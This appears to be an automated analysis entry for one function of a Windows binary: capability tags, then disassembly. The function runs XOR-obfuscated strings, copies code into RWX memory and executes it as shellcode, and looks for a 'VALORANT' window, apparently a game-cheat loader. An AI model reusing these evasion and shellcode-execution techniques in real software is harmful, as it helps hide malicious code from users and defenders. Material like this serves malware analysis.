Function at 0x140020890
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Create thread
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1470]
mov eax, 0x1570
call fcn.140088630
sub rsp, rax
movaps xmmword [rsp + 0x1560], xmm6
movaps xmmword [rsp + 0x1550], xmm7
movaps xmmword [rsp + 0x1540], xmm8
movaps xmmword [rsp + 0x1530], xmm9
movaps xmmword [rsp + 0x1520], xmm10
xor edi, edi
call fcn.140025b98
call fcn.140025b40
call fcn.140025bae
call fcn.140025b40
call fcn.140025b6c
call fcn.140025b56
call fcn.140025b6c
call fcn.140025b56
call fcn.140025b82
mov ecx, 8
call fcn.14008828c
test rax, rax
je 0x140020932
lea rcx, [0x14001a100]
mov qword [rax], rcx
jmp 0x140020935
mov rax, rdi
mov qword [rbp + 0x14b8], rax
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x140009760]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x10], rax
test rax, rax
je 0x140023a42
mov qword [rbp + 0x14b8], rdi
call fcn.1400251c0
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x1400131d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsd xmm0, qword [str._X_]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x14008e4c8]
mov word [rsp + 0x58], ax
movzx eax, byte [0x14008e4ca]
mov byte [rsp + 0x5a], al
lea rsi, [rbp + 0x1498]
movabs r15, 0xff00ff00ff00ff00
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], rsi
mov rbx, qword [rsi]
xor rbx, r15
mov qword [rsp + 0x60], rbx
mov qword [rsi], rdi
mov ecx, edi
mov r12d, 3
lea r13, [0x140006cf0]
lea r14, [0x140000000]
mov rax, qword [0x1400b4290]
test rax, rax
je 0x140020a2f
mov rdx, rdi
cmp rax, r13
je 0x140020a1e
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0xb4290]
test rax, rax
jne 0x140020a06
jmp 0x140020a2f
mov r8, qword [r14 + rdx*8 + 0xb45b0]
test r8, r8
jne 0x140020b10
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140020a58
mov r8, rdi
jmp 0x140020aef
mov rax, r13
mov rcx, r8
mov rdx, r12
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140020a61
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400b4280]
mov qword [r14 + rax*8 + 0xb4290], r13
mov qword [r14 + rax*8 + 0xb45b0], r8
inc rax
mov qword [0x1400b4280], rax
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
xor rbx, r15
mov qword [rsp + 0x60], rbx
mov qword [rsi], rbx
call fcn.140020470
mov rax, qword [str.aVQM]
mov qword [rbp + 0x14b8], rax
movdqa xmm8, xmmword [0x14008fca0]
movdqa xmm10, xmmword [str.6666666666666666]
movdqa xmm9, xmmword [0x14008fc40]
movdqa xmm6, xmmword [0x14008fd30]
movdqa xmm7, xmmword [0x14008fc20]
mov eax, dword [reloc.WS2_32.dll_accept]
cmp byte [0x14008e4d7], 0
je 0x140020ca3
cmp eax, 2
jl 0x140020c57
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp + 0x14b8]
xorps xmm1, xmm0
movd dword [rbp + 0x14b8], xmm1
movdqa xmm2, xmmword [0x14008fc30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm10
movd xmm0, dword [rbp + 0x14bc]
xorps xmm2, xmm0
movd dword [rbp + 0x14bc], xmm2
jmp 0x140020ca3
lea r9, [rbp + 0x14b8]
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140020c70
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], rdi
lea rax, [rbp + 0x14b8]
mov r13, 0xffffffffffffffff
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140020cc3
lea rdx, [rbp + 0x14b8]
lea rcx, [rbp - 0x78]
call fcn.140006e30
nop
mov rbx, rdi
mov r14, qword [rbp - 0x60]
mov rsi, qword [rbp - 0x78]
mov r15, qword [rbp - 0x68]
test r15, r15
je 0x140020d2f
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp - 0x78]
cmp r14, 0xf
cmova rdx, rsi
movzx edx, byte [rdx + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006770
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r15
jne 0x140020d00
cmp r14, 0xf
jbe 0x140020d66
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140020d5e
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021dba
mov rcx, rsi
call fcn.1400882d0
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x78], 0
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400135e0
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400b3970]
call fcn.140031890
mov word [0x1400b3be8], 0
mov qword [0x1400b3920], 0
mov word [0x1400b3928], 0
mov byte [0x1400b392a], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x1400b3bf0], xmm0
movups xmmword [0x1400b3c00], xmm0
movups xmmword [0x1400b3c10], xmm0
movups xmmword [0x1400b3c20], xmm0
mov byte [0x1400b3c30], al
mov dword [0x1400b391c], eax
movups xmmword [0x1400b3950], xmm0
mov qword [0x1400b3960], rax
mov dword [0x1400b3968], eax
mov byte [0x1400b396c], al
lea rsi, [rbp + 0x1498]
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rsi
mov rbx, qword [rsi]
xor rbx, rax
mov qword [rsp + 0x60], rbx
mov qword [rsi], rdi
mov ecx, edi
lea r15, [0x140006d60]
mov rax, qword [0x1400b48e0]
lea r14, [0x140000000]
test rax, rax
je 0x140020e79
mov rdx, rdi
cmp rax, r15
je 0x140020e68
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0xb48e0]
test rax, rax
jne 0x140020e50
jmp 0x140020e79
mov r8, qword [r14 + rdx*8 + 0xb4c00]
test r8, r8
jne 0x140020f5f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140020ea2
mov r8, rdi
jmp 0x140020f3e
mov rax, r15
mov rcx, r8
mov rdx, r12
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140020eb0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400b48d0]
mov qword [r14 + rax*8 + 0xb48e0], r15
mov qword [r14 + rax*8 + 0xb4c00], r8
inc rax
mov qword [0x1400b48d0], rax
lea rdx, [0x14008e1c0]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
mov qword [rsp + 0x60], rbx
mov qword [rsi], rbx
call fcn.14001f4b0
lea rsi, [rbp + 0x1498]
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rsi
mov rbx, qword [rsi]
xor rbx, rax
mov qword [rsp + 0x60], rbx
mov qword [rsi], rdi
mov ecx, edi
mov rax, qword [0x1400b48e0]
test rax, rax
je 0x140020fee
mov rdx, rdi
cmp rax, r15
je 0x140020fdd
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0xb48e0]
test rax, rax
jne 0x140020fc5
jmp 0x140020fee
mov r8, qword [r14 + rdx*8 + 0xb4c00]
test r8, r8
jne 0x1400210cf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140021017
mov r8, rdi
jmp 0x1400210ae
mov rax, r15
mov rcx, r8
mov rdx, r12
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140021020
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400b48d0]
mov qword [r14 + rax*8 + 0xb48e0], r15
mov qword [r14 + rax*8 + 0xb4c00], r8
inc rax
mov qword [0x1400b48d0], rax
lea rdx, [0x14008e1c0]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
mov qword [rsp + 0x60], rbx
mov qword [rsi], rbx
lea rcx, str.asfsafsajhfghsafgsaghfgsahfagfsaghfgshagfahgsfsa
call fcn.140013d30
call fcn.14001e990
call fcn.14001ee20
lea rsi, [rbp + 0x1498]
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rsi
mov rbx, qword [rsi]
xor rbx, rax
mov qword [rsp + 0x60], rbx
mov qword [rsi], rdi
mov ecx, edi
mov rax, qword [0x1400b48e0]
test rax, rax
je 0x14002116f
mov rdx, rdi
cmp rax, r15
je 0x14002115e
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0xb48e0]
test rax, rax
jne 0x140021146
jmp 0x14002116f
mov r8, qword [r14 + rdx*8 + 0xb4c00]
test r8, r8
jne 0x140021250
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140021198
mov r8, rdi
jmp 0x14002122f
mov rax, r15
mov rcx, r8
mov rdx, r12
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400211a1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400b48d0]
mov qword [r14 + rax*8 + 0xb48e0], r15
mov qword [r14 + rax*8 + 0xb4c00], r8
inc rax
mov qword [0x1400b48d0], rax
lea rdx, [0x14008e1c0]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
mov qword [rsp + 0x60], rbx
mov qword [rsi], rbx
movups xmm0, xmmword [0x14008e4d8]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x14008e4e8]
mov dword [rsp + 0x70], eax
movzx eax, word [0x14008e4ec]
mov word [rsp + 0x74], ax
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x14008e4ed], 0
je 0x140021403
mov r8d, edi
cmp r12d, 2
jl 0x1400213c3
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x64]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400212d0
cmp r8d, 0x16
jge 0x140021403
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400213d0
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], rdi
lea rax, [rsp + 0x60]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140021420
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x78]
call fcn.140006e30
nop
mov rbx, rdi
mov r14, qword [rbp - 0x60]
mov rsi, qword [rbp - 0x78]
mov r15, qword [rbp - 0x68]
test r15, r15
je 0x14002147f
nop dword [rax]
lea rdx, [rbp - 0x78]
cmp r14, 0xf
cmova rdx, rsi
movzx edx, byte [rdx + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006770
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r15
jne 0x140021450
cmp r14, 0xf
jbe 0x1400214b6
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400214ae
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021dba
mov rcx, rsi
call fcn.1400882d0
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x78], 0
cmp qword [0x1400b3908], 0
jne 0x14002151a
mov word [rsp + 0x59], reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x50], 0x4f4c4156
mov dword [rsp + 0x54], 0x544e4152
mov byte [rsp + 0x58], reloc.WLDAP32.dll_Ordinal_32
mov byte [rsp + 0x5b], 0
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x1400b3908], rax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x1400b3908], 0
je 0x1400214d0
movsd xmm0, qword [str.pXMWeKWKnoHC]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14008e4f8]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14008e4fc]
mov word [rsp + 0x5c], ax
cmp byte [0x14008e4fd], 0
je 0x140021673
mov r8d, edi
cmp r12d, 2
jl 0x140021633
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.pXMWeKWKnoHC]
xorps xmm1, xmm0
movd dword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x14008fc30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140021640
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], rdi
lea rax, [rsp + 0x50]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140021690
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x78]
call fcn.140006e30
nop
mov rbx, rdi
mov r14, qword [rbp - 0x60]
mov rsi, qword [rbp - 0x78]
mov r15, qword [rbp - 0x68]
test r15, r15
je 0x1400216ef
nop dword [rax]
lea rdx, [rbp - 0x78]
cmp r14, 0xf
cmova rdx, rsi
movzx edx, byte [rdx + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006770
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r15
jne 0x1400216c0
cmp r14, 0xf
jbe 0x140021726
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14002171e
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021dba
mov rcx, rsi
call fcn.1400882d0
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x78], 0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [rbp + 0x1414], 0xffffffff
mov dword [rbp + 0x94], eax
mov r15d, 1
mov edx, r15d
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x94], eax
inc rdx
cmp rdx, 0x270
jb 0x140021760
mov dword [rbp + 0x90], 0x270
mov dword [rbp + 0x14b8], edi
lea rcx, [rbp - 0x80]
call fcn.14001a900
mov r14, qword [rbp - 0x80]
add r14, 0x5f5e100
movabs r13, 0xb2f4fc0794908cf3
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
mov rcx, rax
cmp rbx, 0x989680
jne 0x1400217cf
imul rax, rcx, 0x64
jmp 0x14002183e
cmp rbx, 0x16e3600
jne 0x140021823
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x14002183e
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x1400219c3
mov esi, 0x186a0
nop dword [rax]
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14002188a
nop word [rax + rax]
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140021870
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r15d
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1400218da
nop dword [rax + rax]
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1400218c0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rbp + 0x14b8]
add eax, ecx
mov dword [rbp + 0x14b8], eax
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14002192a
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140021910
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rbp + 0x14b8]
imul eax, ecx
mov dword [rbp + 0x14b8], eax
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14002197b
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140021961
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rbp + 0x14b8]
sub eax, ecx
mov dword [rbp + 0x14b8], eax
mov eax, dword [rbp + 0x14b8]
cdq
idiv ebx
mov dword [rbp + 0x14b8], eax
mov eax, dword [rbp + 0x14b8]
cdq
idiv ebx
mov dword [rbp + 0x14b8], edx
sub rsi, r15
jne 0x140021850
jmp 0x1400217b0
mov eax, dword [rbp + 0x14b8]
mov dword [0x1400b3918], eax
mov word [rsp + 0x5b], 0x65
mov dword [rsp + 0x50], 0x7265764f
mov dword [rsp + 0x54], 0x666c6f77
mov word [rsp + 0x58], 0x652e
mov byte [rsp + 0x5a], 0x78
mov byte [rsp + 0x5d], 0
mov rdx, qword [0x1400b38d0]
lea rcx, [rsp + 0x50]
call fcn.1400143b0
mov r12d, eax
test eax, eax
mov r13, 0xffffffffffffffff
jne 0x140021dd9
lea rsi, [rbp + 0x1498]
movabs r12, 0xff00ff00ff00ff00
mov qword [rsp + 0x68], r12
